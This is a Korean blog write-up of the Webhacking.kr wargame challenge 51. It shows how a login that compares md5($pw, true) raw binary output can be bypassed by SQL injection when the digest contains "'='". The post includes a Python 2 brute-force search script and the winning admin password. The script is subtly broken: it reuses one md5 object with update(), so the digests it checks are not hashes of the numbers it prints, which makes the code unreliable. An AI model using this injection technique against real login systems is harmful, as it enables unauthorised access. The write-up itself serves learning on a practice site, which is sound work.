Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

Webhacking.kr 51번 본문

Security/Web

Webhacking.kr 51번

Cdor1 2017. 4. 20. 14:55

id와 pw를 받는 창이다.

admin으로 로그인 하면 될 것 같은 느낌이 온다.

맞았다. admin으로 로그인하면 solve를 불러준다.

위 소스를 잘 보면

$input_pw = md5($_POST[pw], true);

pw값을 md5로 바꿔서 넣어주는데 뒤에 true라는 인자가 붙는다.

길이 16의 바이너리 형식으로 반환해 준다고 한다.

하지만 이 md5해쉬에 =, '등 쿼리에 변형을 줄 수 있는 값이 들어가면 어떻게 될까?


내가 생각한 공격 방식은

select id from challenge_51_admin where id='$input_id' and pw='$input_pw'

select id from challenge_51_admin where id='$input_id' and pw='asdf'='ghjk'

이런 식으로 쿼리가 들어가게 되어서 admin이 반환되게 된다.


import hashlib

a = hashlib.md5()

for i in range(00000000, 99999999):
    a.update(str(i))
    if "'='" in a.digest():
            print "!" + str(i) + "num" + str(a.digest())





id : admin

pw : 63441195

'Security > Web' 카테고리의 다른 글

noe.systems Newbie - Bakery  (0) 2017.09.13
Webhacking.kr 46번  (0) 2017.04.21
Webhacking.kr 23번  (0) 2017.04.19
Webhacking.kr 43번  (0) 2017.04.19
Webhacking.kr 44번  (0) 2017.04.17
Comments